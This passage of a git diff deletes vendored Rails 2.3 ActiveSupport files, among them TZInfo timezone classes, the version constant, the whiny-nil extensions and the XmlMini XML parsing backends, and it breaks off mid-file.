-        period_for_utc(wrapped).to_local(wrapped)
-      }
-    end
-    
-    # Converts a time in the local timezone to UTC. local can either be
-    # a DateTime, Time or timestamp (Time.to_i). The returned time has the same
-    # type as local. Any timezone information in local is ignored (it is treated
-    # as a local time).
-    #
-    # Warning: There are local times that have no equivalent UTC times (e.g.
-    # in the transition from standard time to daylight savings time). There are
-    # also local times that have more than one UTC equivalent (e.g. in the
-    # transition from daylight savings time to standard time).
-    #
-    # In the first case (no equivalent UTC time), a PeriodNotFound exception
-    # will be raised.
-    #
-    # In the second case (more than one equivalent UTC time), an AmbiguousTime
-    # exception will be raised unless the optional dst parameter or block
-    # handles the ambiguity. 
-    #
-    # If the ambiguity is due to a transition from daylight savings time to
-    # standard time, the dst parameter can be used to select whether the 
-    # daylight savings time or local time is used. For example,
-    #
-    #   Timezone.get('America/New_York').local_to_utc(DateTime.new(2004,10,31,1,30,0))
-    #
-    # would raise an AmbiguousTime exception.
-    #
-    # Specifying dst=true would return 2004-10-31 5:30:00. Specifying dst=false
-    # would return 2004-10-31 6:30:00.
-    #
-    # If the dst parameter does not resolve the ambiguity, and a block is 
-    # specified, it is called. The block must take a single parameter - an
-    # array of the periods that need to be resolved. The block can return a
-    # single period to use to convert the time or return nil or an empty array
-    # to cause an AmbiguousTime exception to be raised.
-    def local_to_utc(local, dst = nil)
-      TimeOrDateTime.wrap(local) {|wrapped|
-        if block_given?
-          period = period_for_local(wrapped, dst) {|periods| yield periods }
-        else
-          period = period_for_local(wrapped, dst)
-        end
-        
-        period.to_utc(wrapped)
-      }
-    end
-    
-    # Returns the current time in the timezone as a Time.
-    def now
-      utc_to_local(Time.now.utc)
-    end
-    
-    # Returns the TimezonePeriod for the current time. 
-    def current_period
-      period_for_utc(Time.now.utc)
-    end
-    
-    # Returns the current Time and TimezonePeriod as an array. The first element
-    # is the time, the second element is the period.
-    def current_period_and_time
-      utc = Time.now.utc
-      period = period_for_utc(utc)
-      [period.to_local(utc), period]
-    end
-    
-    alias :current_time_and_period :current_period_and_time
-
-    # Converts a time in UTC to local time and returns it as a string 
-    # according to the given format. The formatting is identical to 
-    # Time.strftime and DateTime.strftime, except %Z is replaced with the
-    # timezone abbreviation for the specified time (for example, EST or EDT).        
-    def strftime(format, utc = Time.now.utc)      
-      period = period_for_utc(utc)
-      local = period.to_local(utc)      
-      local = Time.at(local).utc unless local.kind_of?(Time) || local.kind_of?(DateTime)
-      abbreviation = period.abbreviation.to_s.gsub(/%/, '%%')
-      
-      format = format.gsub(/(.?)%Z/) do
-        if $1 == '%'
-          # return %%Z so the real strftime treats it as a literal %Z too
-          '%%Z'
-        else
-          "#$1#{abbreviation}"
-        end
-      end
-      
-      local.strftime(format)
-    end
-    
-    # Compares two Timezones based on their identifier. Returns -1 if tz is less
-    # than self, 0 if tz is equal to self and +1 if tz is greater than self.
-    def <=>(tz)
-      identifier <=> tz.identifier
-    end
-    
-    # Returns true if and only if the identifier of tz is equal to the 
-    # identifier of this Timezone.
-    def eql?(tz)
-      self == tz
-    end
-    
-    # Returns a hash of this Timezone.
-    def hash
-      identifier.hash
-    end
-    
-    # Dumps this Timezone for marshalling.
-    def _dump(limit)
-      identifier
-    end
-    
-    # Loads a marshalled Timezone.
-    def self._load(data)
-      Timezone.get(data)
-    end
-    
-    private
-      # Loads in the index of timezones if it hasn't already been loaded.
-      def self.load_index
-        unless @@index_loaded
-          require 'tzinfo/indexes/timezones'
-          @@index_loaded = true
-        end        
-      end
-      
-      # Returns an array of proxies corresponding to the given array of 
-      # identifiers.
-      def self.get_proxies(identifiers)
-        identifiers.collect {|identifier| get_proxy(identifier)}
-      end
-  end        
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_definition.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_definition.rb
deleted file mode 100644
index 39ca8bfa..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_definition.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'tzinfo/data_timezone_info'
-require 'tzinfo/linked_timezone_info'
-
-module TZInfo
-  
-  # TimezoneDefinition is included into Timezone definition modules.
-  # TimezoneDefinition provides the methods for defining timezones.
-  module TimezoneDefinition #:nodoc:
-    # Add class methods to the includee.
-    def self.append_features(base)
-      super
-      base.extend(ClassMethods)
-    end
-    
-    # Class methods for inclusion.
-    module ClassMethods #:nodoc:
-      # Returns and yields a DataTimezoneInfo object to define a timezone.
-      def timezone(identifier)
-        yield @timezone = DataTimezoneInfo.new(identifier)
-      end
-      
-      # Defines a linked timezone.
-      def linked_timezone(identifier, link_to_identifier)
-        @timezone = LinkedTimezoneInfo.new(identifier, link_to_identifier)
-      end
-      
-      # Returns the last TimezoneInfo to be defined with timezone or 
-      # linked_timezone.
-      def get
-        @timezone
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_info.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_info.rb
deleted file mode 100644
index 68e38c35..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_info.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-module TZInfo
-  # Represents a timezone defined in a data module.
-  class TimezoneInfo #:nodoc:
-    
-    # The timezone identifier.
-    attr_reader :identifier
-    
-    # Constructs a new TimezoneInfo with an identifier.
-    def initialize(identifier)
-      @identifier = identifier
-    end
-    
-    # Returns internal object state as a programmer-readable string.
-    def inspect
-      "#<#{self.class}: #@identifier>"
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_offset_info.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_offset_info.rb
deleted file mode 100644
index 6a0bbca4..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_offset_info.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-module TZInfo
-  # Represents an offset defined in a Timezone data file.
-  class TimezoneOffsetInfo #:nodoc:
-    # The base offset of the timezone from UTC in seconds.
-    attr_reader :utc_offset
-    
-    # The offset from standard time for the zone in seconds (i.e. non-zero if 
-    # daylight savings is being observed).
-    attr_reader :std_offset
-    
-    # The total offset of this observance from UTC in seconds 
-    # (utc_offset + std_offset).
-    attr_reader :utc_total_offset
-    
-    # The abbreviation that identifies this observance, e.g. "GMT" 
-    # (Greenwich Mean Time) or "BST" (British Summer Time) for "Europe/London". The returned identifier is a 
-    # symbol.
-    attr_reader :abbreviation
-    
-    # Constructs a new TimezoneOffsetInfo. utc_offset and std_offset are
-    # specified in seconds.
-    def initialize(utc_offset, std_offset, abbreviation)
-      @utc_offset = utc_offset
-      @std_offset = std_offset      
-      @abbreviation = abbreviation
-      
-      @utc_total_offset = @utc_offset + @std_offset
-    end
-    
-    # True if std_offset is non-zero.
-    def dst?
-      @std_offset != 0
-    end
-    
-    # Converts a UTC DateTime to local time based on the offset of this period.
-    def to_local(utc)
-      TimeOrDateTime.wrap(utc) {|wrapped|
-        wrapped + @utc_total_offset
-      }
-    end
-    
-    # Converts a local DateTime to UTC based on the offset of this period.
-    def to_utc(local)
-      TimeOrDateTime.wrap(local) {|wrapped|
-        wrapped - @utc_total_offset
-      }
-    end
-    
-    # Returns true if and only if toi has the same utc_offset, std_offset
-    # and abbreviation as this TimezoneOffsetInfo.
-    def ==(toi)
-      toi.respond_to?(:utc_offset) && toi.respond_to?(:std_offset) && toi.respond_to?(:abbreviation) &&
-        utc_offset == toi.utc_offset && std_offset == toi.std_offset && abbreviation == toi.abbreviation
-    end
-    
-    # Returns true if and only if toi has the same utc_offset, std_offset
-    # and abbreviation as this TimezoneOffsetInfo.
-    def eql?(toi)
-      self == toi
-    end
-    
-    # Returns a hash of this TimezoneOffsetInfo.
-    def hash
-      utc_offset.hash ^ std_offset.hash ^ abbreviation.hash
-    end
-    
-    # Returns internal object state as a programmer-readable string.
-    def inspect
-      "#<#{self.class}: #@utc_offset,#@std_offset,#@abbreviation>"
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_period.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_period.rb
deleted file mode 100644
index 00888fcf..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_period.rb
+++ /dev/null
@@ -1,198 +0,0 @@
-#--
-# Copyright (c) 2005-2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'tzinfo/offset_rationals'
-require 'tzinfo/time_or_datetime'
-
-module TZInfo
-  # A period of time in a timezone where the same offset from UTC applies.
-  #
-  # All the methods that take times accept instances of Time, DateTime or
-  # integer timestamps.
-  class TimezonePeriod
-    # The TimezoneTransitionInfo that defines the start of this TimezonePeriod 
-    # (may be nil if unbounded).
-    attr_reader :start_transition
-    
-    # The TimezoneTransitionInfo that defines the end of this TimezonePeriod
-    # (may be nil if unbounded).
-    attr_reader :end_transition
-    
-    # The TimezoneOffsetInfo for this period.
-    attr_reader :offset    
-    
-    # Initializes a new TimezonePeriod.
-    def initialize(start_transition, end_transition, offset = nil)
-      @start_transition = start_transition
-      @end_transition = end_transition
-      
-      if offset
-        raise ArgumentError, 'Offset specified with transitions' if @start_transition || @end_transition
-        @offset = offset
-      else
-        if @start_transition 
-          @offset = @start_transition.offset
-        elsif @end_transition
-          @offset = @end_transition.previous_offset
-        else
-          raise ArgumentError, 'No offset specified and no transitions to determine it from'
-        end
-      end
-      
-      @utc_total_offset_rational = nil      
-    end
-            
-    # Base offset of the timezone from UTC (seconds).
-    def utc_offset
-      @offset.utc_offset
-    end
-    
-    # Offset from the local time where daylight savings is in effect (seconds).
-    # E.g.: utc_offset could be -5 hours. Normally, std_offset would be 0. 
-    # During daylight savings, std_offset would typically become +1 hours.
-    def std_offset
-      @offset.std_offset
-    end
-    
-    # The identifier of this period, e.g. "GMT" (Greenwich Mean Time) or "BST"
-    # (British Summer Time) for "Europe/London". The returned identifier is a 
-    # symbol.
-    def abbreviation
-      @offset.abbreviation
-    end
-    alias :zone_identifier :abbreviation
-    
-    # Total offset from UTC (seconds). Equal to utc_offset + std_offset.
-    def utc_total_offset
-      @offset.utc_total_offset
-    end
-    
-    # Total offset from UTC (days). Result is a Rational.
-    def utc_total_offset_rational
-      unless @utc_total_offset_rational
-        @utc_total_offset_rational = OffsetRationals.rational_for_offset(utc_total_offset) 
-      end
-      @utc_total_offset_rational
-    end
-    
-    # The start time of the period in UTC as a DateTime. May be nil if unbounded.
-    def utc_start
-      @start_transition ? @start_transition.at.to_datetime : nil
-    end
-    
-    # The end time of the period in UTC as a DateTime. May be nil if unbounded.
-    def utc_end
-      @end_transition ? @end_transition.at.to_datetime : nil
-    end
-    
-    # The start time of the period in local time as a DateTime. May be nil if 
-    # unbounded.
-    def local_start
-      @start_transition ? @start_transition.local_start.to_datetime : nil
-    end
-    
-    # The end time of the period in local time as a DateTime. May be nil if 
-    # unbounded.
-    def local_end
-      @end_transition ? @end_transition.local_end.to_datetime : nil
-    end
-    
-    # true if daylight savings is in effect for this period; otherwise false.
-    def dst?
-      @offset.dst?
-    end
-    
-    # true if this period is valid for the given UTC DateTime; otherwise false.
-    def valid_for_utc?(utc)
-      utc_after_start?(utc) && utc_before_end?(utc) 
-    end
-    
-    # true if the given UTC DateTime is after the start of the period 
-    # (inclusive); otherwise false.
-    def utc_after_start?(utc)
-      !@start_transition || @start_transition.at <= utc
-    end
-    
-    # true if the given UTC DateTime is before the end of the period 
-    # (exclusive); otherwise false.
-    def utc_before_end?(utc)
-      !@end_transition || @end_transition.at > utc
-    end
-    
-    # true if this period is valid for the given local DateTime; otherwise false.
-    def valid_for_local?(local)      
-      local_after_start?(local) && local_before_end?(local) 
-    end
-    
-    # true if the given local DateTime is after the start of the period 
-    # (inclusive); otherwise false.
-    def local_after_start?(local)
-      !@start_transition || @start_transition.local_start <= local
-    end
-    
-    # true if the given local DateTime is before the end of the period 
-    # (exclusive); otherwise false.
-    def local_before_end?(local)
-      !@end_transition || @end_transition.local_end > local
-    end
-    
-    # Converts a UTC DateTime to local time based on the offset of this period.
-    def to_local(utc)
-      @offset.to_local(utc)
-    end
-    
-    # Converts a local DateTime to UTC based on the offset of this period.
-    def to_utc(local)
-      @offset.to_utc(local)
-    end
-    
-    # Returns true if this TimezonePeriod is equal to p. This compares the 
-    # start_transition, end_transition and offset using ==.
-    def ==(p)
-      p.respond_to?(:start_transition) && p.respond_to?(:end_transition) &&
-        p.respond_to?(:offset) && start_transition == p.start_transition &&
-        end_transition == p.end_transition && offset == p.offset
-    end
-    
-    # Returns true if this TimezonePeriods is equal to p. This compares the
-    # start_transition, end_transition and offset using eql?
-    def eql?(p)
-      p.respond_to?(:start_transition) && p.respond_to?(:end_transition) &&
-        p.respond_to?(:offset) && start_transition.eql?(p.start_transition) &&
-        end_transition.eql?(p.end_transition) && offset.eql?(p.offset)
-    end
-    
-    # Returns a hash of this TimezonePeriod.
-    def hash
-      result = @start_transition.hash ^ @end_transition.hash
-      result ^= @offset.hash unless @start_transition || @end_transition
-      result       
-    end
-    
-    # Returns internal object state as a programmer-readable string.
-    def inspect
-      result = "#<#{self.class}: #{@start_transition.inspect},#{@end_transition.inspect}"
-      result << ",#{@offset.inspect}>" unless @start_transition || @end_transition
-      result + '>'
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_transition_info.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_transition_info.rb
deleted file mode 100644
index 6b0669cc..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_transition_info.rb
+++ /dev/null
@@ -1,129 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'date'
-require 'tzinfo/time_or_datetime'
-
-module TZInfo
-  # Represents an offset defined in a Timezone data file.
-  class TimezoneTransitionInfo #:nodoc:
-    # The offset this transition changes to (a TimezoneOffsetInfo instance).
-    attr_reader :offset
-    
-    # The offset this transition changes from (a TimezoneOffsetInfo instance).
-    attr_reader :previous_offset
-    
-    # The numerator of the DateTime if the transition time is defined as a 
-    # DateTime, otherwise the transition time as a timestamp.
-    attr_reader :numerator_or_time
-    protected :numerator_or_time
-    
-    # Either the denominotor of the DateTime if the transition time is defined
-    # as a DateTime, otherwise nil. 
-    attr_reader :denominator
-    protected :denominator
-    
-    # Creates a new TimezoneTransitionInfo with the given offset, 
-    # previous_offset (both TimezoneOffsetInfo instances) and UTC time. 
-    # if denominator is nil, numerator_or_time is treated as a number of 
-    # seconds since the epoch. If denominator is specified numerator_or_time
-    # and denominator are used to create a DateTime as follows:
-    # 
-    #  DateTime.new!(Rational.send(:new!, numerator_or_time, denominator), 0, Date::ITALY)
-    #
-    # For performance reasons, the numerator and denominator must be specified
-    # in their lowest form.
-    def initialize(offset, previous_offset, numerator_or_time, denominator = nil)
-      @offset = offset
-      @previous_offset = previous_offset
-      @numerator_or_time = numerator_or_time
-      @denominator = denominator
-      
-      @at = nil
-      @local_end = nil
-      @local_start = nil
-    end
-    
-    # A TimeOrDateTime instance representing the UTC time when this transition
-    # occurs.
-    def at
-      unless @at
-        unless @denominator 
-          @at = TimeOrDateTime.new(@numerator_or_time)
-        else
-          r = RubyCoreSupport.rational_new!(@numerator_or_time, @denominator)
-          dt = RubyCoreSupport.datetime_new!(r, 0, Date::ITALY)
-          @at = TimeOrDateTime.new(dt)
-        end
-      end
-      
-      @at
-    end
-    
-    # A TimeOrDateTime instance representing the local time when this transition
-    # causes the previous observance to end (calculated from at using 
-    # previous_offset).
-    def local_end
-      @local_end = at.add_with_convert(@previous_offset.utc_total_offset) unless @local_end      
-      @local_end
-    end
-    
-    # A TimeOrDateTime instance representing the local time when this transition
-    # causes the next observance to start (calculated from at using offset).
-    def local_start
-      @local_start = at.add_with_convert(@offset.utc_total_offset) unless @local_start
-      @local_start
-    end
-    
-    # Returns true if this TimezoneTransitionInfo is equal to the given
-    # TimezoneTransitionInfo. Two TimezoneTransitionInfo instances are 
-    # considered to be equal by == if offset, previous_offset and at are all 
-    # equal.
-    def ==(tti)
-      tti.respond_to?(:offset) && tti.respond_to?(:previous_offset) && tti.respond_to?(:at) &&
-        offset == tti.offset && previous_offset == tti.previous_offset && at == tti.at
-    end
-    
-    # Returns true if this TimezoneTransitionInfo is equal to the given
-    # TimezoneTransitionInfo. Two TimezoneTransitionInfo instances are 
-    # considered to be equal by eql? if offset, previous_offset, 
-    # numerator_or_time and denominator are all equal. This is stronger than ==,
-    # which just requires the at times to be equal regardless of how they were
-    # originally specified.
-    def eql?(tti)
-      tti.respond_to?(:offset) && tti.respond_to?(:previous_offset) &&
-        tti.respond_to?(:numerator_or_time) && tti.respond_to?(:denominator) &&
-        offset == tti.offset && previous_offset == tti.previous_offset &&
-        numerator_or_time == tti.numerator_or_time && denominator == tti.denominator        
-    end
-    
-    # Returns a hash of this TimezoneTransitionInfo instance.
-    def hash
-      @offset.hash ^ @previous_offset.hash ^ @numerator_or_time.hash ^ @denominator.hash
-    end
-    
-    # Returns internal object state as a programmer-readable string.
-    def inspect
-      "#<#{self.class}: #{at.inspect},#{@offset.inspect}>"      
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/version.rb b/vendor/rails/activesupport/lib/active_support/version.rb
deleted file mode 100644
index 0fbeaa67..00000000
--- a/vendor/rails/activesupport/lib/active_support/version.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module ActiveSupport
-  module VERSION #:nodoc:
-    MAJOR = 2
-    MINOR = 3
-    TINY  = 14
-
-    STRING = [MAJOR, MINOR, TINY].join('.')
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/whiny_nil.rb b/vendor/rails/activesupport/lib/active_support/whiny_nil.rb
deleted file mode 100644
index c4aaba7a..00000000
--- a/vendor/rails/activesupport/lib/active_support/whiny_nil.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-# Extensions to +nil+ which allow for more helpful error messages for people who
-# are new to Rails.
-#
-# Ruby raises NoMethodError if you invoke a method on an object that does not
-# respond to it:
-#
-#   $ ruby -e nil.destroy
-#   -e:1: undefined method `destroy' for nil:NilClass (NoMethodError)
-#
-# With these extensions, if the method belongs to the public interface of the
-# classes in NilClass::WHINERS the error message suggests which could be the
-# actual intended class:
-#
-#   $ script/runner nil.destroy 
-#   ...
-#   You might have expected an instance of ActiveRecord::Base.
-#   ...
-#
-# NilClass#id exists in Ruby 1.8 (though it is deprecated). Since +id+ is a fundamental
-# method of Active Record models NilClass#id is redefined as well to raise a RuntimeError
-# and warn the user. She probably wanted a model database identifier and the 4
-# returned by the original method could result in obscure bugs.
-#
-# The flag <tt>config.whiny_nils</tt> determines whether this feature is enabled.
-# By default it is on in development and test modes, and it is off in production
-# mode.
-class NilClass
-  WHINERS = [::Array]
-  WHINERS << ::ActiveRecord::Base if defined? ::ActiveRecord
-
-  METHOD_CLASS_MAP = Hash.new
-
-  WHINERS.each do |klass|
-    methods = klass.public_instance_methods - public_instance_methods
-    class_name = klass.name
-    methods.each { |method| METHOD_CLASS_MAP[method.to_sym] = class_name }
-  end
-
-  # Raises a RuntimeError when you attempt to call +id+ on +nil+.
-  def id
-    raise RuntimeError, "Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id", caller
-  end
-
-  private
-    def method_missing(method, *args, &block)
-      # Ruby 1.9.2: disallow explicit coercion via method_missing.
-      if method == :to_ary || method == :to_str
-        super
-      elsif klass = METHOD_CLASS_MAP[method]
-        raise_nil_warning_for klass, method, caller
-      else
-        super
-      end
-    end
-
-    # Raises a NoMethodError when you attempt to call a method on +nil+.
-    def raise_nil_warning_for(class_name = nil, selector = nil, with_caller = nil)
-      message = "You have a nil object when you didn't expect it!"
-      message << "\nYou might have expected an instance of #{class_name}." if class_name
-      message << "\nThe error occurred while evaluating nil.#{selector}" if selector
-
-      raise NoMethodError, message, with_caller || caller
-    end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini.rb b/vendor/rails/activesupport/lib/active_support/xml_mini.rb
deleted file mode 100644
index ccd13494..00000000
--- a/vendor/rails/activesupport/lib/active_support/xml_mini.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-module ActiveSupport
-  # = XmlMini
-  #
-  # To use the much faster libxml parser:
-  #   gem 'libxml-ruby', '=0.9.7'
-  #   XmlMini.backend = 'LibXML'
-  module XmlMini
-    extend self
-
-    attr_reader :backend
-    delegate :parse, :to => :backend
-
-    def backend=(name)
-      if name.is_a?(Module)
-        @backend = name
-      else
-        require "active_support/xml_mini/#{name.to_s.downcase}.rb"
-        @backend = ActiveSupport.const_get("XmlMini_#{name}")
-      end
-    end
-
-    def with_backend(name)
-      old_backend, self.backend = backend, name
-      yield
-    ensure
-      self.backend = old_backend
-    end
-  end
-
-  XmlMini.backend = 'REXML'
-end
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini/jdom.rb b/vendor/rails/activesupport/lib/active_support/xml_mini/jdom.rb
deleted file mode 100644
index d795d556..00000000
--- a/vendor/rails/activesupport/lib/active_support/xml_mini/jdom.rb
+++ /dev/null
@@ -1,162 +0,0 @@
-raise "JRuby is required to use the JDOM backend for XmlMini" unless RUBY_PLATFORM =~ /java/
-
-require 'jruby'
-include Java
-
-import javax.xml.parsers.DocumentBuilder unless defined? DocumentBuilder
-import javax.xml.parsers.DocumentBuilderFactory unless defined? DocumentBuilderFactory
-import java.io.StringReader unless defined? StringReader
-import org.xml.sax.InputSource unless defined? InputSource
-import org.xml.sax.Attributes unless defined? Attributes
-import org.w3c.dom.Node unless defined? Node
-
-# = XmlMini JRuby JDOM implementation
-module ActiveSupport
-  module XmlMini_JDOM #:nodoc:
-    extend self
-
-    CONTENT_KEY = '__content__'.freeze
-
-    NODE_TYPE_NAMES = %w{ATTRIBUTE_NODE CDATA_SECTION_NODE COMMENT_NODE DOCUMENT_FRAGMENT_NODE
-    DOCUMENT_NODE DOCUMENT_TYPE_NODE ELEMENT_NODE ENTITY_NODE ENTITY_REFERENCE_NODE NOTATION_NODE
-    PROCESSING_INSTRUCTION_NODE TEXT_NODE}
-
-    node_type_map = {}
-    NODE_TYPE_NAMES.each { |type| node_type_map[Node.send(type)] = type }
-
-    # Parse an XML Document string into a simple hash using Java's jdom.
-    # string::
-    #   XML Document string to parse
-    def parse(string)
-      if string.blank?
-        {}
-      else
-        @dbf = DocumentBuilderFactory.new_instance
-        xml_string_reader = StringReader.new(string)
-        xml_input_source = InputSource.new(xml_string_reader)
-        doc = @dbf.new_document_builder.parse(xml_input_source)
-        merge_element!({}, doc.document_element)
-      end
-    end
-
-    private
-
-    # Convert an XML element and merge into the hash
-    #
-    # hash::
-    #   Hash to merge the converted element into.
-    # element::
-    #   XML element to merge into hash
-    def merge_element!(hash, element)
-      merge!(hash, element.tag_name, collapse(element))
-    end
-
-    # Actually converts an XML document element into a data structure.
-    #
-    # element::
-    #   The document element to be collapsed.
-    def collapse(element)
-      hash = get_attributes(element)
-
-      child_nodes = element.child_nodes
-      if child_nodes.length > 0
-        for i in 0...child_nodes.length
-          child = child_nodes.item(i)
-          merge_element!(hash, child) unless child.node_type == Node.TEXT_NODE
-        end
-        merge_texts!(hash, element) unless empty_content?(element)
-        hash
-      else
-        merge_texts!(hash, element)
-      end
-    end
-
-    # Merge all the texts of an element into the hash
-    #
-    # hash::
-    #   Hash to add the converted emement to.
-    # element::
-    #   XML element whose texts are to me merged into the hash
-    def merge_texts!(hash, element)
-      text_children = texts(element)
-      if text_children.join.empty?
-        hash
-      else
-        # must use value to prevent double-escaping
-        merge!(hash, CONTENT_KEY, text_children.join)
-      end
-    end
-
-    # Adds a new key/value pair to an existing Hash. If the key to be added
-    # already exists and the existing value associated with key is not
-    # an Array, it will be wrapped in an Array. Then the new value is
-    # appended to that Array.
-    #
-    # hash::
-    #   Hash to add key/value pair to.
-    # key::
-    #   Key to be added.
-    # value::
-    #   Value to be associated with key.
-    def merge!(hash, key, value)
